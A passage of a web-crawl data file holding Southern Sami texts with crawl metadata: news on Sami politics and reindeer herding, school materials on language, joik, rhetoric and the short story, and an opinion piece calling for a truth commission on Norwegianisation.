veeljemeprogrammh utnieh mah voeresepolitihkem jarngesne utnieh. Gosse båarasåbpoe almetjh leah meatan politihkeles barkosne voengesne, dah sijhtieh maehtedh meatan årrodh sijjen jieledetsiehkieh evtiedidh tjïeltine jïh fylhkine.\nSaemiedigkien voereseraerie haasta politihkeles krirrieh jïh læstoeh båarasåbpoe almetjh meatan vaeltedh dan politihkeles stuvremesysteemen sïjse jïh voeresepolitihkem hammoedidh fïereguhten veeljemprogrammine.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/samimag.no\/sma\/content\/voeresh-veeljemelaestojne-jih-voeresepolitihke-veeljemeprogrammine","date":"2019-03-26T15:27:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205534.99\/warc\/CC-MAIN-20190326135436-20190326161436-00023.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":148,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerhte-Trøøndelaagen fylhkenålma bøøreme stoerredigkien presideentem Olemic Thommesen, Noerhte-Trøøndelaagese. Fylhkenålmese vihkeles guesside fylhkese bøøredh guktie edtjieh tråjjadidh jih maam urreste lieredh. Daate vihkeles guesside åadtjodh båatsoe jielemen jih saemien gïele jih kultuvren bijre vielie lieredh, fylhkenålma Inge Ryan bievnede.\nFylhkenålmese vihkeles jih åarjelsaemien kultuvrem jih gïelem vaarjelidh. Båatsoejieleme vihkeles fylhkesne, gusnie govhte sïjth jih 39 fuelhkieh båatsosne jieleminie.\nMattias Jåma, Låarten sïjteste jih Eva Bendikke B Jåma, Tjåehkeren sijteste, sijjien båatsoe aarke- biejjiej bijre bievniejigan.\nStoerredigkien presideente orre åssjalommesh åadtjoeji\n– Luste daejtie noereh båatsoesaemide råakedh. Jijnjem daelie govleme, magkeres tjoeperi gujmie tjïektjeminie. Ij leah manne guarkeme, biegkefaamoe stoerre tjoepere båatsose. Daelie munnjan tjïelkedamme, jih maam urreste daelie liereme,Thommesene jeahta.\nEva Bendikke B Jåma tuhtji luste, stoerredigkiepresideente sïjhti båatsoesaemide råakedh.\n– Daate lea hijven, Stoerredigkien presideente åådtje govledh guktie mijjieh jieleminie jih magkeres tjoeperh utnebe. Kanne maam akth måjhta daestie tjåangkoste, Jåma jeahta.\nSaemien Sijte jih Tråante 2017\nStoerredigkie presideente Olemic Thommesen jih Saemiedigkie presideente Aili Keskitalo, Saemien Sijtesne gaavnedigan. Dah guaktah jijnjh vihkeles aamhtsi bijre råårestalligan. Saemiedigkien presideente Aili Keskitalo daajra man bijre edtja daan aejkien rååresjidh.\n– Vihkielommes aamhtese lea Saemien Sijte guktie beetnegh åadtjodh jih orre gåetiem bigkedh jih mubpie aamhtese lea Tråante 2017, mejtie reerenasse sæjhta daam heevehtimmie jaepiem nænnoestidh, Keskitalo jeahta.\n- Lohkh vielie: Heevehtimmie væhtam veeljeme\nStoerredigkie presideente ij maam doesth dåajvoehtidh.\n– Ij manne maehtieh maam daan bijre reeredh jallh dåejvoehtidh. Jijnjesh sijhtieh kultuvregåetieh bigkedh jih tjoeveribie barre håhkesjidh mij buerie daestie sjædta,Thommesen jeahta.\nSaemien sijte guhkiem barkeme jih sæjhta orre jih stuerebe gåetiem bigkedh.\nSaemiej Åålmegebiejjien Stientjesne\nStoerredigkien presideente Olemic Thommesen bïjre jarkan Noerhte Trøøndelaagesne feeleminie goevten 4-7.b. Saemiej åålmege biejjien edtja Stientjen gærhkosne heevehtidh.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.nrk.no\/sapmi\/dah-presideenth-saemien-sijtesne-gaavnedigan-1.12787236","date":"2019-03-20T02:13:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202188.9\/warc\/CC-MAIN-20190320004046-20190320030046-00239.warc.gz","language":"sma","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999847412109375}","num_words":264,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsestalledh almetji vihkielommes govlesadteme-vuekie aejkiej mietie. Gïelem lïerebe gosse soptsestallebe jïh njaalmeldh gïeline maadth-maahtoem lïerebe maana-baeleste. Bïevnesh jïh aaj domtesh åadtjobe, jïh guktie galkebe sinsitnien vööste dåemiedidh.\nGovlesadtedh\nKråahpine sjeavodslaakan aaj govlesadtebe. Ååredæjjine jïh kråahpine vuesehth jis aavosne jallh hujnesne. Jis gïetem lutnjh klaassesne dellie vuesehth sïjhth maam akt jiehtedh. Govlesadteme-tsiehkie tsavtsa guktie dåemiedibie. Ibie mijjieh eejnegen lïhkebe dan bïjre ussjedh. Baakoeh jïh jiehtegh veeljebe tsiehkiej mietie. Mijjieh govlesadteme-tsiehkiem krööhkestibie. Maehtebe aaj gellie vuekiej mietie govlesadtedh, ovmessie gïeline.\nJis sïjhth dov voelpese soptsestidh datne satnem lyjhkh, dellie maahtah dam sutnjien jiehtedh. Dellie njaalmeldh gïeline govlesadth. Jallh maahtah murries SMS:em tjaeledh jïh dov voelpese daam seedtedh. Datne baakoejgujmie, verbaale gïeline, govlesadth.\nBaakoe verbum latijne-gïeleste båata jïh seamma goh baakoe saemien-gïelesne. Dovne njaalmeldh jïh tjaaleldh tjaalegh\/bïevnesh maam datne jeahtah jallh tjaelieh jïh seedth, verbaale-gïeleldh tjaaleginie gåhtjobe.\nDagke sïjhth vaajmoem paehpieradtjese guvviedidh jïh dov voelpen bïenghkese dibrehtidh jallh rööpses blommam sutnjien vedtedh. Dellie guvvine jïh symboline govlesadth. Maahtah aaj kråahpe-gïeline govlesadtedh, voelpese mojjestidh, tjelmiem trimhkestidh jallh dam gaanestidh.\nTsiehkie nænnoste mejnie gïeline veeljh govlesadtedh, men sisvege mahte seammalaakan dovne njaalmeldh jiehtiegisnie, tekste-dïjretjisnie, vaajmoe-guvvesne jïh gaanestimmesne. Dan gaavhtan hijven jis mijjieh aktem jiehtegem dej bïjre utnebe, gaajhkh leah tjaalegh. Tjaalege vuesehte maam sïjhtebe govlesadtedh.\nGovlesadtedhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361","date":"2019-04-21T21:41:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578532882.36\/warc\/CC-MAIN-20190421195929-20190421221929-00504.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":201,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien-gïele lea uraalen gïelijste jïh såevmien-ugrijken gïele-maadtoste. Daaroen-gïele jis indo-europeijen gïele. Vihkeles joekehtsh daej gïeli gaskem. Destie aaj gellielaaketje haestemh gosse jarkoestidh gïeleste måbpan.\nGellie-laaketje haestemh\nGosse daaroen-gïeleste saemien-gïelese jarkoestibie dellie vihkeles ussjedidh guktie saemien baakoe-åtnoe jïh baakoe-veahka, magkerh saemien baakoeh gååvnesieh, jïh guktie dejtie nuhtjedh. Tjoerebe aaj ussjedidh guktie saemien grammatihke jïh guktie raajesh bigkedh. Ij dan hijven sjïdth jis ajve daaroen baakoste saemien baakose jarkoestibie. Dellie saemien gïele ååpsen jïjnjem daaroen-gïeleste tsavtsa, dovne baakoeh mejtie provhkebe jïh guktie mijjieh raajesh bigkebe. Kultuvri gaskem aaj joekehth vuekieh govlesadtedh, guktie dom jïh daam jiehtedh.\nGuktie jarkoestidhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:194367\/topic:1:174722","date":"2019-04-22T15:00:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00484.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":96,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne laavenjassh vualan Åvlavuelien råantjoeh. Gosse laavenjassigujmie barkeminie dellie maahtah videjovem vuartasjidh jïh vueliem lohkedh.\nÅvlavuelien råantjoeh\nDaennie videjovisnie Nils Mattias Andersson vueliem Åvlavuelien råantjoeh juajka.\nÅvlavuelien råantjoeh, sveerjen gïelesne\nDaennie videjovisnie Israel Ruong joejkem Åvlavuelien råantjoeh låhka sveerjen gïelesne.\nGoltelh jïh lohkh vueliem Åvlavuelien råantjoeh. Darjoeh laavenjasside.\n1. laavenjasse\nJoejke tïjjen mietie jåhta?\n2. laavenjasse\nBuerkesth joejken sjïere hammoem. Ussjedh hammoem, gïelem, tjoejem jïh soptsestimmie-vuekiem.\n3. laavenjasse\nAnalyseredh joejkem jïh toelhkesth joejkem litterææren vuekien mietie.\n4. laavenjasse\nNæjla Maahke sov jieleden bïjre joejki jïh dïhte 1900-låhkoen aalkoevisnie jielieji. Jis datne dovletjen jïh daaletjen tïjjem viertesth, mah seammalaakan jïh mah jeatjahtehteme?\n5. laavenjasse\nUssjedh gïelen bïjre. Datne vïenhth Næjla Maahke baakoeh jïh jiehtegh nuhtji dovletjen aarke-biejjeste jïh båatsoste, mah daaletjen noerh tuhtjieh gïerve guarkedh?","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:189511\/resource:1:190218","date":"2019-04-22T15:11:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00005.warc.gz","language":"sma","language_score":0.9999825954,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999825954437256}","num_words":120,"character_repetition_ratio":0.126,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieh akte veartenen aalkoe-almetjijstie mij åtna jïjtse gïelem, kultuvrem jïh siebriedahkem, jïjtsh vuekieh jïh maahtoem. Gïele lea vihkele almetji identiteetese jïh kultuvrese. Dah saemien gïelh jïh veartenen aalkoe-almetji gïelh leah håvhtadamme daan biejjien.\nGïele jïh identiteete\nSaemieh akte veartenen aalkoe-almetjijstie mij åtna jïjtse gïelem, kultuvrem jïh siebriedahkem, jïjtsh vuekieh jïh maahtoem. Saemien gïelh joekoen vihkele saemien identiteetese jïh jïjtje-domtesasse. Identiteete lea dïhte mij almetjem veadta jeatjabidie almetjidie jïh siebriedahkese. Identiteete lea dïhte mij nænnoste gie datne, mehtie maadtoste, mehtie fuelhkeste jïh mehtie siebriedahkeste. Gïele lea joekoen vihkele almetji kultuvrese. Gïele almetjen identiteetem, jïjtje-domtesem jïh ektievoete-domtesem nænnoste jïh åålmeh-tjïertese ektede. Kaanne ij saemien-gïele dov veaksahkommes gïele, dïhte gïele maam datne bööremes maahtah, læjhkan saemien-gïele dov lïhkemes gïele, dov vaajmoe-gïele.\nSaemien gïelh\nGïele-dotkijh saemien gïelh juakeme luhkien gïelide, jïh gïeli aaj smaaregh. Goh jeatjah aalkoe-almetji gïelh saemien gïelh jïjnjh baakoeh utnieh dovletje jieledi jïh jielede-dajvi bïjre. Datne joe daajrah åarjel-saemien baakoe-gærjesne jïjnjh baakoeh båatsoen, göölemen, vïjremen jïh bivtemen bïjre. Jïh gïelen lea stoere baakoe-veahka eatnemen, vearelden, lopmi, daelhkiej jïh gåatomen bïjre.\nVuesiehtimmien gaavhtan saemien gïeli jïjnjh baakoeh ovmessie lopmide. Ajve åarjelsaemien-gïele baakoem «lopme» åtna, mahte seamma baakoe goh såevmien-gïelen «lumi». Åarjelsaemien baakoeh «moehtege» jïh «moehth», mahte seamma goh julevsaemien- jïh noerhtesaemien «muohta». Daajroeh lopmen bïjre vihkele orreme joe dovletjistie. Jïjnjh baakoeh, dovne substantijvh, adjektijvh jïh verbh soptsestieh guktie lopme, daelhkie jïh gåatome. Aktene baakojne saemieh meehtin tjïelkestidh guktie lopme gåessie bïjvelde jïh tjåetskede, gåessie tjuatseme jïh gåaltoelamme. Dah meehtin aktine baakojne buerkiestidh gosse leamoe dellie lopme låvva jïh dan mænngan gosse gelmeleminie jallh bïegkeste gajkeminie. Saemieh aelhkieslaakan sinsætnan saarnoejin guktie daelhkie jïh man gïengele jïh tjovtehke lopme jïh guktie lopme guadta. Baakoeh gååvnesieh mah soptsestieh guktie lopmi giertieh. Aaj man garre bijjie-skierie, gaske-giertieh jïh betnie. Lopme abpe daelviem værhtoeminie, tjaktje-daelvien raejeste gïjre-daelvien raajan.\nAalkoe-almetji gïelh\nVeartanisnie 6000 - 7000 gïelh. Jïjnjemes dejstie leah aalkoe-almetji jallh vaenie-låhkoen almetji gïelh. Medtie 96 % veartenen gïelijste 4 % veartenen almetjijstie soptsesuvvieh.\nVeartanisnie jïjnjh vaenie-låhkoen aalkoe-almetji gïelh. Aalkoe-almetji gïeli jïjnjh baakoeh dovletje jieledi jïh jielede-dajvi bïjre. Abpe veartanisnie orre tïjje båateme. Fïerhten jaepien jielede-dajvh ånnanieh almetji ovmessie darjoemistie, v.g. tjaetsie- jïh bïegke-faamoeh, ålja jïh gaassh, skåajje-snjidtjemh, gruva-gïehtelimmieh, ruevtie-raajroeh, geajnoeh, hæhtjoeh, stuara-darjomh, j.v. Stoere siebriedahke lea jïjnjem jeatjahtahteme dej minngemes jaepiej. Nimhtie aalkoe-almetji jieledh jïh kultuvrh aaj jïjnje jorkestovveminie, jïh nimhtie aaj gïeligujmie.\nAalkoe-almetji gïelh dejstie stuerebe ammes gïelijste tsavtsasovveme jïh gellene lehkesne dah gïelh håvhtadamme. Jis aalkoe-almetji gïelh nåhkieh dellie aaj jïjnjh veartenen almetji daajroem jïh maahtoem gaarvanieh eatnemen jïh jielede-vuekiej bïjre. Gietskemes tïjjen jienebh goh bielie aalkoe-almetji gïelijste maehtieh nåhkedh. UNESCO lea EN-organisasjovne mij barka ööhpehtimmine, daajrojne, kultuvrine jïh gaskesadteminie. Organisasjovne goerehtamme, jïh læstose bïejeme, gïelh mah daan biejjien håvhtadamme. Gellie aalkoe-almetji gïelh leah UNESCO:n læstosne mij soptseste man håvhtadihks dah joekehts gïelh. Læstosne aaj dah saemien gïelh.\nBaakoeh\nSaemien\nDaaroen\njïjtje-domtese\nselvfølelse\nektievoete-domtese\nfellesskapsfølelse\n- Kjernestoff\nLaavenjassh: Aalkoe-almetji gïelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:192043\/resource:1:189141","date":"2019-04-19T17:02:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00070.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":457,"character_repetition_ratio":0.084,"word_repetition_ratio":0.027,"special_characters_ratio":0.156,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ij iktegisth aelhkie reaktoe baakoeh gaavnedh gosse edtjebe håalodh jallh håalemem tjaeledh. Mimie Märak væjkele håalodh jïh vuekiem Poetry-Slam nuhtjie gosse hååle.\nHåaleme-tsiehkie\nAkte nuhteligs retorihkeles dïejvese lea kairós (håaleme-tsiehkie). Dïhte åehpies håalije Górgias (medtie 485-380 Kr.å) daam dïejvesem böökti. Gorgias tjïertesti dïhte guhte sæjhta sov håaleminie lyhkesidh, tjuara dam håaleme-tseahkan sjïehtesjidh: nuepie, sijjie, tïjje, goltelæjjah, aajmoe j.n.v.\nKairós greeklaanten baakoe mij sæjhta jiehtedh \"(reaktoe) mierie\" jallh \"(hijven) nuepie\".\nGaavnesjh aktem profesjovnelle håaleme-tjaelijem\nSåemies orre meedijah leah båateme Gorgian tïjjen mænngan, men jis ibie dam krööhkesth, dle daan beajjetje håalijh tjuerieh eevre dejtie seamma tsiehkide krööhkestidh goh don aejkien. Dïhte daajbaaletje dïejvese konteekste håaleme-tsiehkien bïjre åtnasåvva, men lij aaj maahteme kairósen bïjre soptsestidh.\nRetorihkeKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181662\/topic:1:182394\/resource:1:181585","date":"2019-04-24T22:56:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578663470.91\/warc\/CC-MAIN-20190424214335-20190425000335-00392.warc.gz","language":"sma","language_score":0.9999480247,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999480247497559}","num_words":113,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Doh histovrijes saejrieh saemien åålmegasse leah gïengeles jïh mijjieh aktem jïjtse reejneme-prosessem daarpesjibie juktie destie starnedh. Gaatesjen dle dïhte nöörjen reerenasse ij doesth histovrijasse mijjine ektine vuartasjidh, Vibeke Larsen tjaala daennie kronihkesne.\nEdtjebe doestedh histovrijasse vuartasjidh?\nDle saahtah gaahtoe voessen sistie luajhtasovvi – reerenasse ij sïjhth skraejriem vaeltedh akten saetniesvoete-kommisjovnese daaroedehtemen bïjre saemijste dan åvteste dah billieh sijjieh veanhtadimmieh orre råajvarimmiej bïjre sjugniedieh. Im maehtieh jiehtedh manne ierielimmesne, men nov leam håjnoes. Håjnoes dan åvteste akte hijven ektievoete daaroej jïh saemiej gaskem tsihkestahta mijjieh libie vyljehke mijjen ektie histovrijasse vuartasjidh. Vyljehke dejtie konsekvenside vuartasjidh mah staaten politihke saemiej vööste leah åtneme, jïh maam dïhte lea mijjine dorjeme goh åålmege jïh aktegs almetjh.\nSaemien siebriedahkesne gellie histovrijh mah eah leah soptsesovveme jïh gellie saejrieh mah eah leah jealajamme. Histovrijh akten tïjjen bïjre gusnie hiejhteme identiteeteste, gïeleste jïh kultuvreste akte gæmhpoe sjïdti mejtie edtji årrodh jallh ij årrodh – jeenjesidie. Soptsestimmieh saejriej bïjre mah leah dabranamme kråahpine jïh mïeline almetjidie, jïh mah maehtieh viehkiehtidh tjïelkestidh man åvteste dah dam daaletje tïjjem dååjroeh goh darjoeh.\nMan bïjre Saemiedigkie raaktan birrie?\nBaajh mannem dam tjïelkestidh: Ij leah daate lahtestimmie akten budsjedte-digkiedæmman, gusnie Saemiedigkie vielie dåarjoej bïjre staateste birrie. Mijjieh ræhpas prosessem sïjhtebe, gusnie staate skraejriem vaalta daaroedehtiemasse vuartasjidh, jïh mah konsekvensh daate lea åtneme almetjidie jïh siebriedahkese. Guktie illedahkh sjidtieh jïh guktie edtja daam gïetedidh lea naakede mïsse tjuara vuajnoem utnedh dellie. Ibie maehtieh åvtelhbodti illedahkem aktede kommisjovne-barkoste daejredh. Tjoerebe astedh vuertedh. Mijjese lea vihkeles nuepiem åadtjodh olkese båetedh gelliej tjuetie jaepiej tjïrrh dïedtelgimmine jïh vuelege jïjtje-domtesinie. Daate lea geajnoen bïjre guhkiebasse, mijjese goh nasjovne jïh åålmege. Saemien åålmege ij leah ussjedamme jïjtjemse våålese offere-råållan sïjse kroehkedh. Mijjieh ussjedamme båetijen aejkien sïjse vaedtsedh goh akte garmeres åålmege aktine tjïelkestamme tsiehkine mijjen histovrijasse.\nJeenjesh sijhtieh jiehtedh: Dijjen lea nuepie demokrateles meatan årrodh Saemiedigkien jïh rååresjimmie-latjkoen tjïrrh. Gånka Harald lea dijjem gaatelassjeme dan byögkeles Nöörjen bieleste. Ij leah nuekie?\nIjje, ij leah nuekie. Staate lea viehkiehtamme Saemiedigkiem tseegkedh jïh mijjen vaarjelamme maadthlaaken tjïrrh. Men mijjen histovrijes saejrieh leah gïengelåbpoe goh numhtie, jïh aktem jïjtse reejneme-prosessem jis edtjieh jealajidh.\nJuktie måahtadimmie-prosessem buektiehtidh dle tjuara saetniesvoetem vihtiestidh. Daesnie maehtebe lïeredh stoerre ålmijste goh Desmond Tutu jïh altese barkoe måahtadimmien åvteste. Saetniesvoete tjuara vihtiestamme sjïdtedh jïh dïhte mij ovreaktan tjïrrh lij vaaltasovveme almetjijstie tjoeri bååstede deellesovvedh. Saemien åålmege lea aaj dååjreme sijjen kultuvrem, gïelem jïh jielede-vuekiem dassedh. Dïhte mij ovreaktan tjïrrh lea mijjeste vaaltasovveme ij leah annje bååstede vadtasovveme. Bååstede-prosjekte dam vuesehte. Gellie tjuetiejaepiej tjïrrh saemien daeverh leah veedtjeme saemien siebriedahkeste jïh bïejeme museumidie. Daelie aktene prosessesne gusnie birrebe dejtie bååstede åadtjodh saemien museumidie. Men daate ij maehtieh sjugniehtovvedh åvtelen staate lea vyljehke reeknegem vaeltedh bååstede-sertemen åvteste jïh våarhkoe saemien museuminie. Ij gåessie gænnah gåaredh aktem vïenevoetem dåvvodh jis datne dov voelpeste sualedh jïh soelkedimmien bïjre birrh bielelen datne leah vyljehke bååstede vedtedh maam datne sualadamme.\nSaemien gærhkoe-gaertenh leah histovrijen tjïrrh sualasovveme dotkijijstie, bueriesjugniedimmine gærhkoste jïh staateste. Dan åvteste dle baatsahtassh mijjen maadtojste våarhkosne aktene gaptjeldihkie magasijnesne Oslosne daan biejjien. Daate lea gïengeles saejrieh dennie saemien almetje-sealosne, mah tjuerieh reejnesovvedh viehkine staateste mij tjuara vyljehke årrodh dïedtem vaeltedh bååstede-sertemen åvteste.\nSårkoe teehpeme gïeleste, identiteeteste jïh daajroevaanoste jïjtse histovrijen bïjre, lea gaajh nåake såamasidie. Akte sårkoe mïsse viehkiem staateste daarpesjibie dåvvodh. Saemien jïjtjedomtese lea veaksahkåbpoe sjïdteme dej minngemes jaepiej. Dan veaksehke guktie doestebe taabuvh tsööpkedh jïh nåake tsiehkiej bïjre soptsestidh jïjtjene siebriedahkesne. Marion Knutsenen eerlegevoete seksuelle daaresjimmiej bïjre Divtasvuodnesne lea vihkeles orreme gellide. Aadtjen libie åehpiedahteme dotkeme-reektehtsem «Jis doesth gihtjedh, almetjh duestieh vaestiedidh». Reektehtse vuesehte vædtsoesvoete saemien siebriedahkine lea akte stoerre taabuve, jïh histovrijes psykiske vaejvieh daaroedehtemen gaavhtan lea akte dejstie faktorijstie mij dam buerkeste. Mijjieh akten laavenjostoen bïjre birrebe reerenassine juktie eadtjohkelaakan vædtsoesvoeten vööste barkedh, jïh fåantoem gaavnedh man åvteste numhtie. Annjebodts ibie vaestiedassem åådtjeme.\nMen jeatjah guejmieh dam seamma daerpiesvoetem vuejnieh goh mijjieh. Saemien gærhkoeraerie sæjhta eadtjohke guejmine årrodh aktene saetniesvoete-kommisjovnesne. Kveeni aaj akte histovrije, jïh dïsse aaj daerpies veelebe gïehtjedidh. Tjirkijh Stoerredigkesne, mah vuejnieh daerpies saetniesvoetem buartan åadtjodh aaj aamhtesem bæjjese lutnjeme.\nDennie abpeveartenen aalkoealmetje-veartenisnie daate akte åehpies aamhtese. Canada lea doesteme sov koloniseradimmie-histovrijem itjmieslaakan vaeltedh jïh jååhkesje satne aalkoe-almetjidie stoerre vaejvieh vadteme.\nMijjieh sïjhtebe eadtjohke guejmine årrodh saetniesvoete- jïh måahtadimmie-prosessesne. Sæjhta akte prosesse årrodh mij aaj sæjhta sååjrehke årrodh mijjese, men mijjieh mïelebe tïjje lea båateme dam daelie vaeltedh. Dellie ovmurreds nöörjen reerenasse ij doesth saetniesvoetese vuartasjidh mijjine ektine.\nVibeke Larsen\nBæjhkoehtamme: 12.04.17\nBaakoeh\nSaemien\nDaaroen\nreejneme-prosesse\nrenselsesprosess\nij sïjhth skraejriem vaeltedh\nvil ikke ta initiativ\nsaetniesvoete-kommisjovne\nsannhetskommisjon\ndaaroedehteme\nfornorskning\nråajvarimmie\ntiltak\nmanne ierielimmesne\njeg er overrasket\nlahtestimmie\nkommentar, innspill\ndïedtelgimmie\nundertrykking\nmåahtadimmie-prosesse\nforsoningsprosess\ndeellesovvedh\nbli levert\ndaajroe-vaanoe\nkunnskapsmangel\ndotkeme-reektehtse\nforskningsrapport\nvædtsoesvoete\nvold\njeatjah guejmieh\nandre parter\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:182427","date":"2019-04-19T17:35:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00166.warc.gz","language":"sma","language_score":0.9999969006,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999969005584717}","num_words":824,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Im maehtieh mov uvte vuejnedh aktem jieledem bielelen gærjah», Kronprinsessa sov rïhpestimmie-håalemisnie jeehti. «Maana-baelien raejeste dle naaken munnjien lohkeme, jïh manne nuepiem åådtjeme dan tjiehtjielasse tjaangedh gusnie fantasije jeala.»\nNovelle lea tjaaleldh jïh litterææren soptsese. Komposisjovne jïh gïele leah kåansten hammojne tjaaleme. Novelle lea åenehks soptsese maam tjaelije hæhtadamme.\nLissine:\n- Ij man gallesh meatan\n- Sïejhme aaj åenehks bodten aejkiemieresne heannede, aktene sijjesne\n- Akten dahkoen jallh heannadimmien bïjre\n- Maahta aelkedh \"in medias res\"\n- Aalka ryöktesth dahkosne jallh ov-vaantosne\n- Ierielimmine orrije\n- Lohkije kaanne tjuara jïjtje ussjedidh minngie-gietjesne, guktie dellie maa sjædta? Idtji gaajhke jeahtasovvh\nViehkie-dïrregh novelline\n- Soptsestimmie-vuekie\n- Novelline göökte såarhth soptsestæjjah\nPersovneles soptsestæjja: soptsestæjja lea meatan dahkosne\nAutorale soptsestæjja: soptsestæjja lea dahkoen ålkoelisnie\nAlmetjidie buerkiestidh\nGosse dah ovmessie karakteerh\/almetjh novellesne buerkiestibie dellie maehtebe naemhtie darjodh:\n- Ålkoe-jïjtsevoeth buerkiestidh, goh aaltere, tjoele jïh plïere\n- Sisnjelds-jïjtsevoeth buerkiestidh, almetji jïjtjevoete\nJïlhts maahta gellie almetjh\/karakteerh novellesne årrodh, maehtebe daejtie göökte åejvie-såarhtide juekedh:\n- Statihken almetjh: ij almetje dan jïjnje jarkelh heannadimmien mietie\n- Dynamihken almetjh: jarkelieh jallh orre bielieh heannadimmien mietie vuesiehtieh\nByjresem buerkiestidh\nByjrese aktene novellesne aajmoem skaepede. Tjaelije sijjiem, tseegkemh jallh dåehkieh buerkeste. Sïejhme byjrese aaj meatan dahkoem buerkiestidh.\nKomposisjovne\nNovellesne tjaelije ovmessie vuekine heannadimmiem skaepede.\n- In medias res, dellie mijjieh ryöktesth heannadæmman båetebe. Dellie lea joe mij akt heannadamme åvtelen novelle aalka\n- Kronologije, dellie tjaelije kronologijen vuekien mietie soptseste\n- Bååstide vuejnedh, dellie mijjieh åadtjobe daejredh mij aarebi heannadamme\n- Tjaatsestimmie, dellie mijjieh åadtjobe maam akt daejredh mij åvtesne 